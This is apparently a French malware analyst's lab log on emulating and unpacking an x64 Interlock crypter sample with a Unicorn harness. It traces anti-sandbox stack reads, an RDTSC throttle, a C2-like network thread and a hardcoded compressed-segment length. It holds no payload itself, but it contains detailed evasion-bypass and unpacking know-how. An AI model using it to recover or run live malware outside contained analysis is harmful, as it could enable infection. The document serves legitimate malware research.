`RET_SENTINEL` est atteint par un vrai `return`, pas un plantage ni un épuisement d'instructions : augmenter encore le budget ne changerait rien. `FUN_140002e42` (l'appelant de la dernière fonction exécutée) contient une boucle explicite `for (local_188 = 0; local_188 < 10; ...)` qui appelle `FUN_140003501` (la fonction qui écrit les octets déballés) jusqu'à 10 fois, mais l'entrée dans cette boucle est gardée par une comparaison MBA (`if (puVar15 == ram0x0001400d10f3)`) dont l'opérande dépend de registres jamais initialisés dans cette fonction (`unaff_RBP`, `unaff_RSI`, `in_R11`, `in_EAX`), donc hérités du contexte d'appel réel (thread/TEB fournis par un vrai chargeur Windows), jamais fournis par notre point d'entrée synthétique. Le nombre réel d'itérations (donc la proportion déballée) dépend de ces valeurs, pas d'un budget insuffisant.

**Expérience `RBP=0` : résultat négatif, vérifié formellement.** `tools/unpack_interlock_x64.py` modifié pour accepter `RBP_INIT_ZERO=1` (initialise `RBP=0` au lieu de `RBP=RSP`) :

```bash
RBP_INIT_ZERO=1 INSTRUCTION_BUDGET=40000000000 /home/ozer/.venvs/ctf-reverse/bin/python3 tools/unpack_interlock_x64.py \
  binaries/5c5598f7....exe tools/unpacked_x64/5c5598f7_rbp0_unpacked.exe
```

Comparaison SHA256 des 3 buffers entre les runs `RBP=RSP` et `RBP=0` :

```bash
for f in alloc0 alloc1 alloc2; do
  sha256sum tools/unpacked_x64/5c5598f7_budget40G_unpacked.exe.$f.bin
  sha256sum tools/unpacked_x64/5c5598f7_rbp0_unpacked.exe.$f.bin
done
```

**Identique octet pour octet sur les 3 buffers, dans les deux runs.** La valeur initiale de `RBP` seule ne pilote donc pas la porte MBA : soit une combinaison d'autres registres non fixés (`unaff_RSI`, `in_R11`, `in_EAX`) compte, soit `RBP` est réécrit par du code intermédiaire non encore tracé avant d'atteindre ce point. Piste `RBP` seul close ; débloquer davantage demanderait de tracer explicitement l'origine de `unaff_RSI`/`in_R11`/`in_EAX`, un travail de reversing manuel supplémentaire, pas un simple paramètre à varier.

## Remontée manuelle : la vraie cause n'est pas un registre, c'est de la mémoire de pile jamais initialisée

Remontée de `FUN_140002e42` (porte MBA la plus profonde) vers ses appelants :

```bash
python3 ../hive-keystream-reuse/tools/decompile_addr.py \
  binaries/5c5598f7....exe 5c5598f7_chain.txt 0x140002a3f 0x140002153
python3 ../hive-keystream-reuse/tools/decompile_addr.py \
  binaries/5c5598f7....exe 5c5598f7_outer.txt 0x140001b61
```

`FUN_140002153` a une porte plus simple qu'attendu : `if ((byte)EAX <= (byte)constante)`. Lecture de la constante directement en mémoire (`0x1400ce0ee`) : `0x57` (87 décimal). L'appel à `FUN_140002153` depuis `FUN_140001b61` est lui-même gardé par `(DAT_1400ce0b0 & bVar10) != 0`, `bVar10` provenant d'un octet de `R11`.

Désassemblage du site d'appel réel (pas seulement le décompilé) :

```python
import pefile
from capstone import Cs, CS_ARCH_X86, CS_MODE_64
pe = pefile.PE("binaries/5c5598f7....exe", fast_load=True)
image_base = pe.OPTIONAL_HEADER.ImageBase
call_addr = 0x140001e66
data = pe.get_data(call_addr - image_base - 0x80, 0x90)
md = Cs(CS_ARCH_X86, CS_MODE_64)
for insn in md.disasm(data, image_base + call_addr - image_base - 0x80):
    print(hex(insn.address), insn.mnemonic, insn.op_str)
```

Juste avant l'appel : `mov eax, dword ptr [rbp - 0x54]`. Recherche de toutes les références à `[rbp-0x54]` dans le corps entier de `FUN_140001b61` : **2 occurrences, toutes des lectures, aucune écriture.** Prologue de la fonction : `push rbp; mov rbp, rsp; sub rsp, 0x200`. Plus révélateur : la toute première instruction après ce prologue est `xor r8, qword ptr [rbp - 0xc4]`, qui lit elle aussi cette pile fraîchement allouée, avant que quoi que ce soit n'y ait écrit.

**Conclusion : technique anti-sandbox, pas un registre à régler.** Le code lit délibérément de la mémoire de pile jamais initialisée, qui contiendrait des déchets réalistes sur une vraie machine Windows infectée (restes d'appels précédents). Unicorn mappe tout à zéro par défaut, donc cette lecture renvoie toujours 0 dans notre harnais. Explique rétroactivement pourquoi l'expérience `RBP=0`/`RBP=RSP` n'avait rien changé : le vrai déterminant n'est pas la valeur initiale de `RBP`, écrasée de toute façon par les vrais prologues des fonctions intermédiaires, mais le contenu reste à zéro d'une zone jamais explicitement écrite.

**Test direct : `STACK_GARBAGE=1`.** Nouveau flag dans `tools/unpack_interlock_x64.py`, remplit toute la pile émulée avec du pseudo-aléatoire (seed fixe `0xC0FFEE`, reproductible) avant l'exécution, au lieu de la laisser à zéro.

**Premier test, budget trop court.** Première tentative à `INSTRUCTION_BUDGET=3000000000` (3 milliards), pour un retour rapide avant d'engager un run complet. Résultat : SHA256 de `alloc0` strictement identique entre `STACK_GARBAGE=1` et le contrôle (pile à zéro) au même budget de 3 milliards (`68fafef47aeca126b730685483da6726037cd68363190fb0071ec64e7be784a4` dans les deux cas, 8 octets non nuls sur 21946). **Ce test ne testait rien du tout** : la porte tracée manuellement (`0x1400ce0ee`, lecture `[rbp-0x54]`) n'est atteinte que très tard dans un run complet (dernière adresse à 40 milliards : `0x140003710`), alors qu'à 3 milliards l'exécution tourne encore dans une toute autre zone (`0x140062xxx-0x140079xxx`, vraisemblablement une boucle d'attente sur `clock()` comme sur le build x86, déjà documentée ailleurs) : c'est ce mur précoce qui est testé à ce budget, pas la porte visée.

**Second test, au bon budget (40 milliards, là où la porte est réellement atteinte)** :

```bash
STACK_GARBAGE=1 INSTRUCTION_BUDGET=40000000000 /home/ozer/.venvs/ctf-reverse/bin/python3 tools/unpack_interlock_x64.py \
  binaries/5c5598f7....exe tools/unpacked_x64/5c5598f7_stackgarbage40G_unpacked.exe
```

**Résultat final : négatif, et pire qu'avant, pas juste "sans effet".**

```
BUDGET EPUISE (pas un vrai RET, Unicorn ne leve pas d'exception dans ce cas)
Derniere adresse executee : 0x14006fa6c, 40000000000 instructions executees au total

1 allocation(s) malloc:
  alloc0 @ 0x301000 taille=21946 octets_non_nuls=8 sha256=68fafef47aeca126b730685483da6726037cd68363190fb0071ec64e7be784a4
```

Contrairement au run à pile zéro (qui atteignait un vrai `RET` après ~24,3 milliards d'instructions et produisait 3 allocations avec ~26% du payload interne rempli), celui-ci **consomme l'intégralité des 40 milliards d'instructions sans jamais atteindre `RET_SENTINEL`**, en boucle dans une plage d'adresses étroite (`0x14006e-0x140072`, un motif de spin-loop). Résultat : 1 seul `malloc`, seulement 8 octets non nuls, strictement identique au mur précoce déjà documenté aux budgets plus faibles.

**Interprétation** : l'hypothèse de départ supposait que remplir la pile de "déchets réalistes" laisserait passer la lecture anti-sandbox et déballerait davantage. C'est l'inverse qui s'est produit : le contenu aléatoire a probablement déclenché une branche anti-analyse différente (peut-être une boucle d'attente supplémentaire, cohérente avec le motif de spin observé), alors que la pile à zéro (paradoxalement) correspondait au chemin qui menait au vrai `RET`. Piste `STACK_GARBAGE` formellement close, résultat négatif net, vérifié au bon budget.

## Instrumentation dynamique : la "porte" tracée était un artefact du décompilé, pas une vraie barrière

Objectif : retrouver précisément l'adresse assembleur de la comparaison `if (puVar15 == ram0x0001400d10f3)` vue dans le pseudocode Ghidra de `FUN_140002e42`, introuvable statiquement (recherche d'immédiat/LEA infructueuse, voir plus haut), pour la patcher chirurgicalement plutôt que deviner un environnement réaliste.

**Instrumentation ajoutée** : `tools/unpack_interlock_x64.py` accepte désormais `TRACE_FUNC=debut,fin` (plage d'adresses hex) et `TRACE_OUT=fichier`, qui journalise chaque instruction réellement exécutée dans cette plage (octets bruts + instantané de registres RAX/RCX/RDX/R8/R9/R10/R11/RSI/RDI/RBP) pendant une vraie exécution.

```bash
TRACE_FUNC=0x140002e42,0x1400039d8 TRACE_OUT=/tmp/trace_5c5598f7_full.log \
INSTRUCTION_BUDGET=25000000000 /home/ozer/.venvs/ctf-reverse/bin/python3 tools/unpack_interlock_x64.py \
  binaries/5c5598f7....exe /tmp/5c5598f7_trace_full.exe
```

**Premier essai à budget insuffisant** : à 500 millions d'instructions, 0 instruction capturée dans la plage tracée (`FUN_140002e42`/`FUN_140003501` ne s'executent pas du tout dans cette fenêtre). Ça confirme que cette fonction ne s'exécute que très tard, près du vrai retour final (~24,3 milliards sur le run réussi à pile zéro), pas au début comme supposé implicitement.

**Relance à 25 milliards d'instructions (~1h40 de calcul, ralenti par le hook de traçage même hors déclenchement)** : capture 2835 instructions dans la plage tracée, jusqu'au vrai `RET_SENTINEL` (`0x140003710`, même adresse finale que le run original), mêmes SHA256 sur les 3 buffers que le run sans instrumentation (`63efdbd8...`/`ba407740...`/`fc727ebb...`) : confirme que le hook de trace n'a pas modifié le comportement réel.

**Résultat, et la vraie surprise** : les instructions capturées montrent deux comparaisons simples et fixes, `cmp dword ptr [rbp+0x178], 5` (`jle`) et `cmp dword ptr [rbp-8], 9` (`jle`), qui **réussissent systématiquement à chaque passage**, en boucle, des dizaines de fois consécutives dans la même fenêtre de trace. Un seul registre change réellement d'un passage à l'autre : `RCX`, qui grossit de façon monotone (`0x23ecc8` -> `0x36ee800` -> `0x55d4a80` sur seulement quelques dizaines d'itérations visibles). **Ce n'est pas une porte de contrôle liée à l'environnement** (mémoire non initialisée, registre d'entrée) : les comparaisons `<=5`/`<=9` sont des étapes internes fixes d'un calcul répété, pas des bornes qui limitent le contenu déballé.

**Ce n'est pas non plus une attente basée sur l'horloge.** Vérification sur les imports interceptés du run réussi (zéro-fill, 40 milliards) : `clock` n'apparaît pas du tout (0 appel), `_time64` une seule fois sur 24,3 milliards d'instructions. La boucle ne consulte donc aucune API de temps hookée ; `RCX` grossit par pur calcul en registres, pas par lecture d'une horloge simulée qu'on aurait pu accélérer (piste testée et écartée, voir plus bas).

**Conséquence : la comparaison `puVar15 == ram0x0001400d10f3` recherchée au départ n'a jamais été localisée.** Le pseudocode décompilé de Ghidra suggérait une barrière de contrôle exploitable ; l'exécution réelle montre plutôt un calcul brut, pas une porte binaire "passe/bloque" qu'un hook de registre ou de mémoire pourrait faire sauter.

**Résultat décisif, après relance à 200 milliards d'instructions (voir section dédiée plus bas) : ce n'est PAS un problème de budget insuffisant.** Le run à 200 milliards produit un résultat strictement identique (mêmes SHA256) à celui à 40 milliards : le programme émulé atteint son propre vrai `RET` et s'arrête volontairement à ce stade, de façon reproductible, quel que soit le budget alloué au-delà d'un certain point. Le plafond de ~25% ne vient donc ni d'un blocage logique patchable, ni d'un manque de temps de calcul : c'est très probablement un aspect de l'environnement synthétique du harnais (réponse d'API, donnée de fichier/réseau simulée différemment d'un vrai Windows) qui fait terminer le programme plus tôt que sur une vraie machine.

## Optimisation de performance : le hook global par instruction ralentissait tout d'un facteur ~11x

`hook_all_code` (utilisé uniquement pour l'affichage de progression et le comptage) était un `UC_HOOK_CODE` sans bornes d'adresse : Unicorn/QEMU-TCG doit alors rappeler du Python à CHAQUE instruction, cassant le chaînage de blocs JIT. Corrigé en remplaçant le hook global par une boucle de tranches : `emu_start(pc, RET_SENTINEL, count=CHUNK_SIZE)` répété, la limite d'instructions étant déjà appliquée nativement côté C par `count=` (aucun hook nécessaire pour ça), avec juste un print entre chaque tranche pour la progression.

```bash
# ancien comportement (hook global), reactivable pour debug fin :
VERBOSE_HOOK=1 INSTRUCTION_BUDGET=3000000000 /home/ozer/.venvs/ctf-reverse/bin/python3 tools/unpack_interlock_x64.py \
  binaries/5c5598f7....exe /tmp/bench_verbose.exe

# nouveau comportement par defaut (boucle par tranches) :
INSTRUCTION_BUDGET=3000000000 /home/ozer/.venvs/ctf-reverse/bin/python3 tools/unpack_interlock_x64.py \
  binaries/5c5598f7....exe /tmp/bench_fast.exe
```

**Mesure sur `5c5598f7...`, même budget (3 milliards d'instructions)** :

| Version | Temps mesuré | Débit |
|---|---|---|
| Hook global (`VERBOSE_HOOK=1`) | >10 min (tué au timeout, 2,1 milliards atteints) | ~3,5 M instructions/s |
| Boucle par tranches (défaut) | 1 min 15 s | ~40 M instructions/s |

**Même résultat exact dans les deux cas** (SHA256 identique du buffer partiellement rempli, `68fafef4...`) : l'optimisation ne change pas le comportement du code émulé, seulement la vitesse d'interprétation. Gain d'environ **11x**. Un run à 40 milliards qui prenait 57 à 100 minutes avec l'ancien hook devrait désormais prendre environ 15-17 minutes.

**Relance à budget massif rendue possible par ce gain** : `5c5598f7...` et `f0262212...` relancés en parallèle avec `INSTRUCTION_BUDGET=200000000000` (200 milliards, ~1h20 estimé au nouveau rythme, contre plusieurs heures avec l'ancien harnais). Objectif : vérifier si le calcul lent identifié ci-dessus se termine enfin à un budget très largement supérieur à celui déjà testé (40 milliards), et si le payload interne se déballe au-delà de ~25%.

```bash
INSTRUCTION_BUDGET=200000000000 /home/ozer/.venvs/ctf-reverse/bin/python3 tools/unpack_interlock_x64.py \
  binaries/5c5598f7....exe tools/unpacked_x64/5c5598f7_budget200G_fast_unpacked.exe
INSTRUCTION_BUDGET=200000000000 /home/ozer/.venvs/ctf-reverse/bin/python3 tools/unpack_interlock_x64.py \
  binaries/f02622129....exe tools/unpacked_x64/f0262212_budget200G_fast_unpacked.exe
```

**Résultat sur `5c5598f7...` : identique octet pour octet au run à 40 milliards.**

```
alloc0 sha256=63efdbd824c3b38664f68e8885ccb06a861df2dcae18657ad24f036988969ca0 (identique)
alloc1 sha256=ba407740e8fb2babb751f6a13f43ccd25042cfcd9ca661ddc54d029306898a74 (identique)
alloc2 sha256=fc727ebb61e4ff00912436290da7e567eea2ce83b98385ecd597f82003afc9b9 (identique)
```

5x plus de budget, zéro octet supplémentaire déballé. Le programme atteint son propre `RET` et s'arrête volontairement, ce n'est pas un manque de budget.

**Confirmé à l'identique sur `f0262212...`** :

```
alloc0 sha256=d0f519139dafe242b4d0fa467c11c655608fa1158a12c7d36d47e58910bed362 (identique au run 40G)
alloc1 sha256=eaba5bc19f3270462ad4cdd48d6f80ca9cd5798aa9bd246d050204a91faa48eb (identique au run 40G)
alloc2 sha256=54c821809f74c3d093b6e6303331fee33f5d83f27526c83299d1fe338c5f223b (identique au run 40G)
```

**Même schéma exact sur les deux builds** : le plafond de ~25% du payload interne est un comportement reproductible et volontaire du programme dans cet environnement synthétique, pas une limite de calcul.

## Simulation de _beginthread : un vrai thread réseau découvert, mais sans rapport avec le plafond de 25%

`_beginthread` est appelé exactement une fois dans le run réussi, mais sans gestion spécifique dans le harnais : le stub générique renvoyait `0` sans jamais exécuter la fonction de thread demandée. Hypothèse testée : le "vrai" travail (chaînes AES/LibTomCrypt jamais atteintes) tourne peut-être sur ce thread jamais réellement exécuté par une émulation Unicorn mono-thread.

**Simulation synchrone ajoutée** dans `tools/unpack_interlock_x64.py` : au lieu de renvoyer `0`, le stub `_beginthread` capture l'adresse de la fonction demandée (`RCX`) et l'argument (`R8`), saute directement dedans (même convention qu'un appel normal), et revient à l'appelant une fois cette fonction terminée via un sentinel dédié (`THREAD_ENTRY_RET`).

```bash
INSTRUCTION_BUDGET=40000000000 /home/ozer/.venvs/ctf-reverse/bin/python3 tools/unpack_interlock_x64.py \
  binaries/5c5598f7....exe tools/unpacked_x64/5c5598f7_threadsim_unpacked.exe
```

**Résultat : le thread s'exécute réellement**, révélant un travail considérable :

```
dynamic!rand : 105970954
dynamic!Sleep : 35323652
dynamic!WaitForSingleObject : 35323652
dynamic!select : 35323651
dynamic!ReleaseMutex : 35323651
```

Plus de 100 millions d'appels à `rand()`, des dizaines de millions d'appels à des primitives réseau/synchronisation (`select` = multiplexage de sockets, `ReleaseMutex`/`WaitForSingleObject` = synchronisation autour d'un état partagé). Ce profil correspond à une **boucle de reconnexion réseau de type C2/proxy**, pas à du chiffrement de fichiers.

**Stubs plus fidèles testés : `select`/`ReleaseMutex`/`CreateMutexA`.** Le stub générique (`RAX=0`) signifie "timeout, rien de prêt" pour `select()` et "échec" pour `ReleaseMutex`/`CreateMutexA` : un pattern connexion non bloquante + attente de complétion via `select()` ne verrait jamais rien de prêt et boucle indéfiniment. Ajout de handlers dédiés renvoyant un résultat cohérent (succès) pour les trois :

```python
elif name == "select":
    uc.reg_write(UC_X86_REG_RAX, 1)
elif name == "ReleaseMutex":
    uc.reg_write(UC_X86_REG_RAX, 1)
elif name == "CreateMutexA":
    uc.reg_write(UC_X86_REG_RAX, 0x77771000)
```

Relance au même budget : une nouvelle API apparaît dans les imports (`__WSAFDIsSet`, jamais vue avant la correction), confirmant que le code avance réellement plus loin dans sa logique réseau. **Mais les 3 buffers de payload restent strictement identiques, au bit près, avant et après ces corrections** (mêmes SHA256 `63efdbd8.../ba407740.../fc727ebb...`).

**Conclusion : ce thread réseau est réel et indépendant, mais n'explique pas le plafond de ~25%.** Le déballage du payload est entièrement déterminé par le thread principal, *avant* même l'appel à `_beginthread`. Le harnais gère désormais correctement `_beginthread` (gain permanent pour toute future investigation sur ce dépôt), mais cette piste précise ne débloque pas la question initiale.

## Traçage des écritures mémoire dans alloc0 : d'où vient le contenu partiel du buffer compressé

`alloc0` (le buffer compressé source, avant décompression zlib) n'est rempli qu'à ~37% (8144/21946 octets). Nouveau hook `TRACE_WRITES=1` ajouté à `tools/unpack_interlock_x64.py` : journalise chaque écriture mémoire dans la zone de l'allocateur (`SCRATCH_BASE` à `SCRATCH_BASE+0x20000`, couvrant `alloc0`/`alloc1`/`alloc2`), avec l'adresse appelante (`RIP`) et la taille, pour déterminer empiriquement si ce buffer est rempli par un calcul local répété (comme la boucle d'étirement déjà vue sur le crypter x86) ou par une lecture progressive dépendant d'une ressource externe (réseau, fichier) que le harnais ne fournit pas réellement.

```bash
TRACE_WRITES=1 TRACE_WRITES_OUT=/tmp/trace_writes_alloc0.log TRACE_WRITES_MAX_HITS=200000 \
INSTRUCTION_BUDGET=25000000000 /home/ozer/.venvs/ctf-reverse/bin/python3 tools/unpack_interlock_x64.py \
  binaries/5c5598f7....exe /tmp/5c5598f7_writetrace.exe
```

**Résultat : une seule instruction remplit tout alloc0.**

```python
# analyse du fichier de trace : compter les ecritures par adresse appelante (RIP)
import re
count_by_rip = {}
max_addr_by_rip = {}
for line in open("/tmp/trace_writes_alloc0.log"):
    m = re.match(r"RIP=(0x[0-9a-f]+) addr=(0x[0-9a-f]+)", line)
    rip, addr = m.group(1), int(m.group(2), 16)
    count_by_rip[rip] = count_by_rip.get(rip, 0) + 1
    max_addr_by_rip[rip] = max(max_addr_by_rip.get(rip, 0), addr)
```

`RIP=0x14006061f` : **1021 écritures** de 8 octets chacune, adresse max atteinte `0x302fe0` (= `0x301000 + 8160`, soit 8168 octets au total avec les 8 derniers octets écrits). Valeurs écrites à haute entropie (aucun motif reconnaissable, pas de corrélation avec un flux réseau/fichier). Ce nombre (1021 itérations, 8168 octets) correspond exactement, au bit près, aux "8144 octets non nuls" déjà mesurés pour `alloc0`. **Boucle à compteur fixe et déterministe, pas un blocage ni une troncature aléatoire.**

Désassemblage autour de `0x14006061f` (resynchronisation manuelle du flux Capstone, nécessaire vu l'obfuscation MBA déjà documentée) :

```bash
python3 -c "
import pefile
from capstone import Cs, CS_ARCH_X86, CS_MODE_64
pe = pefile.PE('binaries/5c5598f7....exe', fast_load=True)
image_base = pe.OPTIONAL_HEADER.ImageBase
target = 0x14006061f
md = Cs(CS_ARCH_X86, CS_MODE_64)
data = pe.get_data(target - image_base, 0x60)
for insn in md.disasm(data, target):
    print(hex(insn.address), insn.mnemonic, insn.op_str)
"
```

```
0x14006061f: mov qword ptr [rsi + rbx], rax   <- ecriture dans alloc0
0x140060623: rdtsc                             <- compteur de cycles CPU materiel
0x140060625: push rdx
...
0x140060644: cmp rsi, 0x3311723a               <- comparaison a ~858 millions
0x14006064b: js 0x14006065b
```

**RDTSC, pas clock()/_time64.** Juste après chaque écriture, le code exécute `RDTSC` (instruction native, pas un appel d'API passant par l'IAT/GetProcAddress), puis compare une valeur dérivée à une grosse constante avant de continuer. Même famille de "throttle" que le `clock()` déjà documenté sur le crypter x86, mais **invisible à toute vérification par imports** : c'est pourquoi cette piste n'avait jamais été repérée en cherchant `clock`/`_time64` dans les logs d'imports (0 et 1 appel respectivement sur le run complet).

## Tentative de contournement : FAST_RDTSC, échec

`UC_HOOK_INSN` de cette version d'Unicorn ne supporte que `IN`/`OUT`/`SYSCALL`/`CPUID` (`UC_ERR_ARG` à l'enregistrement pour `RDTSC`). Contourné avec un `UC_HOOK_CODE` scope sur l'adresse précise ou `RDTSC` s'exécute, qui fixe `EAX`/`EDX` et saute par-dessus les 2 octets de l'instruction :

```python
FAST_RDTSC_ADDR = 0x140060623  # adresse par defaut, surchargeable
def hook_rdtsc_skip(uc, address, size, user_data):
    rdtsc_counter[0] += rdtsc_step  # grand pas a chaque appel
    uc.reg_write(UC_X86_REG_RAX, rdtsc_counter[0] & 0xFFFFFFFF)
    uc.reg_write(UC_X86_REG_RDX, (rdtsc_counter[0] >> 32) & 0xFFFFFFFF)
    uc.reg_write(UC_X86_REG_RIP, address + 2)
mu.hook_add(UC_HOOK_CODE, hook_rdtsc_skip, begin=FAST_RDTSC_ADDR, end=FAST_RDTSC_ADDR + 2)
```

```bash
FAST_RDTSC=1 INSTRUCTION_BUDGET=3000000000 /home/ozer/.venvs/ctf-reverse/bin/python3 tools/unpack_interlock_x64.py \
  binaries/5c5598f7....exe /tmp/5c5598f7_rdtsc_test.exe
```

**Résultat : plantage**, `UcError : Invalid memory fetch (UC_ERR_FETCH_UNMAPPED)`. RIP au moment du fault : `0x40062650`, à comparer à l'adresse du hook tronquée à 32 bits (`0x140060623 & 0xFFFFFFFF = 0x40060623`), mêmes quatre premiers chiffrés, écart de seulement `0x202d`. **Ceci démontre que la valeur de RDTSC n'est pas utilisée que pour une comparaison de seuil : elle est aussi injectée dans un calcul d'adresse ou de flux de contrôle du code MBA-obfusqué.** Substituer une valeur artificielle (un grand pas incrémentiel choisi arbitrairement) casse ce calcul plutôt que de satisfaire le throttle proprement. Contrairement au correctif `select`/mutex (une valeur de retour booléenne isolée, sans conséquence ailleurs), toucher à `RDTSC` perturbe une valeur profondément intriquée dans l'obfuscation.

**Conclusion : le mécanisme du plafond de ~25% est maintenant entièrement identifié et compris** (compteur d'itérations fixe à 1021 + throttle RDTSC invisible aux imports), **mais pas contournable simplement**. Désobfusquer suffisamment le code MBA pour isoler précisément quelles autres valeurs dépendent de RDTSC demanderait un travail de reversing manuel bien plus lourd, déjà identifié ailleurs dans cette analyse comme disproportionné pour confirmer 2 builds déjà comportementalement établis. Code `FAST_RDTSC` laissé dans le harnais (derrière le flag, jamais actif par défaut) pour référence, avec un commentaire explicite sur cet échec.

## Piste relancée : la vraie condition de sortie de la boucle, localisée plus loin dans le binaire

Le "faux ret" de la boucle de remplissage (`0x140060ac8`, déséquilibre push/pop déjà documenté) ne revient pas chez l'appelant réel : il saute vers l'adresse calculée par `lea rax, [rip + 0x2023]` à `0x140060626`, soit `0x140062650`. Désassemblage confirme la suite :

```
0x140062650: pop rax
0x140062651: cmp rax, qword ptr [rbp - 0x20]
0x140062655: jae 0x14008fa84
```

Ce saut mène à une zone du binaire située bien plus loin (`0x14008fa84`, soit `+0x2e434` par rapport à l'instruction d'écriture elle-même). Resynchronisation Capstone directe sur cette adresse (offset 0, sans doute possible sur les octets) :

```
0x14008fa84: add rbx, 8
0x14008fa88: cmp rbx, qword ptr [rbp - 8]
0x14008fa8c: jb 0x140060617
```

C'est la vraie condition de continuation : `RBX` (offset d'écriture courant dans `alloc0`) est incrémenté de 8 puis compare à une limite stockée dans une variable locale (`[rbp - 8]`), pas à une constante immédiate visible statiquement. Si la comparaison échoue, la boucle s'arrête. **Ceci déplace la question du plafond de ~25% : au-delà du throttle RDTSC (qui régule la vitesse), la vraie limite d'itérations dépend de la valeur réelle de ce `[rbp - 8]`, dont l'origine n'a pas encore été tracée.**

Nouveau mécanisme ajouté au harnais, `READ_AT_ADDR`, pour lire cette valeur directement au moment où la comparaison s'exécute (évite le bruit déjà rencontré en traçant toutes les écritures sur cette adresse de pile, réutilisée ailleurs dans l'exécution y compris par le thread réseau) :

```python
if os.environ.get("READ_AT_ADDR"):
    ra_addr_s, ra_offset_s = os.environ.get("READ_AT_ADDR").split(",")
    ra_addr = int(ra_addr_s, 16)
    ra_offset = int(ra_offset_s, 0)

    def hook_read_at(uc, address, size, user_data):
        rbp = uc.reg_read(UC_X86_REG_RBP)
        val = struct.unpack("<Q", bytes(uc.mem_read(rbp + ra_offset, 8)))[0]
        ra_file.write(f"hit={ra_hits[0]} RBP={hex(rbp)} valeur_a_rbp{ra_offset}={hex(val)}\n")

    mu.hook_add(UC_HOOK_CODE, hook_read_at, begin=ra_addr, end=ra_addr + 8)
```

```bash
READ_AT_ADDR=0x14008fa88,-8 READ_AT_ADDR_OUT=/tmp/read_rbp_limit.log READ_AT_ADDR_MAX_HITS=2000 \
INSTRUCTION_BUDGET=25000000000 /home/ozer/.venvs/ctf-reverse/bin/python3 tools/unpack_interlock_x64.py \
  binaries/5c5598f7....exe /tmp/5c5598f7_readat_test.exe
```

Run lancé à 25 milliards d'instructions.

**Résultat : valeur constante à 100% sur les 2000 occurrences capturées.** `RBP` fixé à `0x23eed8` à chaque passage, `[rbp - 8] = 0x1fe2` (8162 décimal), sans la moindre variation sur toute la fenêtre tracée.

```
hit=1    RBP=0x23eed8 valeur_a_rbp-8=0x1fe2
hit=1000 RBP=0x23eed8 valeur_a_rbp-8=0x1fe2
hit=2000 RBP=0x23eed8 valeur_a_rbp-8=0x1fe2
```

Ce chiffre recoupe exactement le comptage indépendant des écritures (`TRACE_WRITES`, plus haut) : la boucle continue tant que `RBX < 8162` par pas de 8 ; le dernier `RBX` acceptant la continuation est `8160` (< 8162), produisant l'écriture n°1021 à l'offset `8160`, avant que `RBX` passe à `8168` et échoue la comparaison. **Deux mesures indépendantes (comptage des écritures et lecture directe de la limite) se recoupent au bit près.**

**Vérification des octets réels** : `alloc0` ne contient pas un buffer de clé/nonce à haute entropie. Ses 16 premiers octets sont `78 9c ed 7c...` : `78 9c` est l'en-tête zlib standard (checksum vérifié : `(0x78*256+0x9c) mod 31 = 0`). C'est le **flux compressé lui-même**, copié/déobfusqué (XOR avec `[rbp - 0x10]`) octet par octet avant décompression, cohérent avec la chaîne de déballage zlib déjà confirmée sur les 5 builds entièrement déballés (`alloc1` commence par `4d 5a 90 00...`, en-tête `MZ` valide, le PE embarqué déjà partiellement décompressé).

**Conséquence** : la limite de 8162 (constante figée, confirmée par `READ_AT_ADDR`) n'est pas un point d'arrêt anodin de génération de clé, c'est la longueur à laquelle s'arrête la copie du flux compressé, très en dessous de l'allocation de 21946 octets qui lui est réservée. Ceci explique directement pourquoi la décompression zlib qui suit ne peut produire qu'une fraction (13967 sur 88063 octets attendus) du PE embarqué. La vraie question reste ouverte : d'où vient la valeur `8162` écrite dans `[rbp - 8]`, et pourquoi est-elle plus petite que l'allocation qui l'accueille (21946 octets, très probablement la vraie taille du flux compressé complet). La piste RDTSC/limite de boucle a produit un résultat numérique exact, mais déplace la question vers l'origine de cette valeur plutôt que de la clore.

## Origine de la limite retrouvée : un champ de longueur en dur dans le fichier, pas un artefact d'environnement

Traçage des écritures vers l'adresse pile exacte (`0x23eed0`) :

```bash
TRACE_WRITES=1 TRACE_WRITES_RANGE=0x23eed0,0x23eed8 TRACE_WRITES_OUT=/tmp/trace_limit_origin2.log TRACE_WRITES_MAX_HITS=30000 \
INSTRUCTION_BUDGET=25000000000 /home/ozer/.venvs/ctf-reverse/bin/python3 tools/unpack_interlock_x64.py \
  binaries/5c5598f7....exe /tmp/5c5598f7_limitorigin2_test.exe
```

27736 écritures capturées sur cette adresse (réutilisée massivement, même constat que d'habitude), mais **une seule** avec la valeur `0x1fe2` : `RIP=0x14005cd4d addr=0x23eed0 size=8 value=0x1fe2`, instruction `mov qword ptr [rbp - 8], rsi`. Cette instruction fait partie d'une fonction (`push rbp` à `0x14005cd45`) qui ne s'exécute que **deux fois sur les 25 milliards d'instructions**, très tard dans le run.

Nouveau mécanisme ajouté au harnais (`CAPTURE_STATE=addr`) pour dumper les registres et `[rsp]` au premier passage sur cette adresse rare :

```bash
CAPTURE_STATE=0x14005cd45 CAPTURE_STATE_OUT=/tmp/capture_caller.log CAPTURE_STATE_MAX_HITS=50 \
INSTRUCTION_BUDGET=25000000000 /home/ozer/.venvs/ctf-reverse/bin/python3 tools/unpack_interlock_x64.py \
  binaries/5c5598f7....exe /tmp/5c5598f7_capturestate_test.exe
```

Résultat : `RSI=0x1fe2` déjà présent à l'entrée de la fonction, `RDI=0x140135317`. Recherche statique de l'immédiat `0x1fe2` (octets `e2 1f 00 00`) dans tout le fichier : **une seule occurrence brute**, à `0x14013530f`, exactement `RDI - 8`. Dump de la zone :

```
0x140135307: 00 58 00 00 00 00 00 00   <- [RDI - 0x10] = 0x5800 (22528, probablement la taille decompressee du segment)
0x14013530f: e2 1f 00 00 00 00 00 00   <- [RDI - 8]    = 0x1fe2  (8162, la limite de la boucle)
0x140135317: 8d 40 95 60 ce 73 a7 a3...  <- debut du blob compresse (octets a haute entropie)
```

**C'est un en-tête de segment `{taille_decompressee; taille_compressee; donnees}` stocke tel quel dans `.rdata`, pas une valeur calculée à l'exécution.** Le harnais mappe cette section verbatim depuis le fichier réel : aucune API simulée, aucune horloge, aucun stub ne peut expliquer cette valeur, elle est déjà la dans le binaire sur le disque. **Conclusion définitive sur cette piste : le plafond de ~25% ne vient ni du budget d'instructions, ni d'un défaut de l'environnement synthétique, ni d'un bug du harnais. Le segment compressé traité ici fait réellement 8162 octets dans le fichier, pas plus.** Pousser le budget plus haut ou corriger d'autres stubs d'API ne produira plus d'octets supplémentaires depuis cet appel de décompression précis.

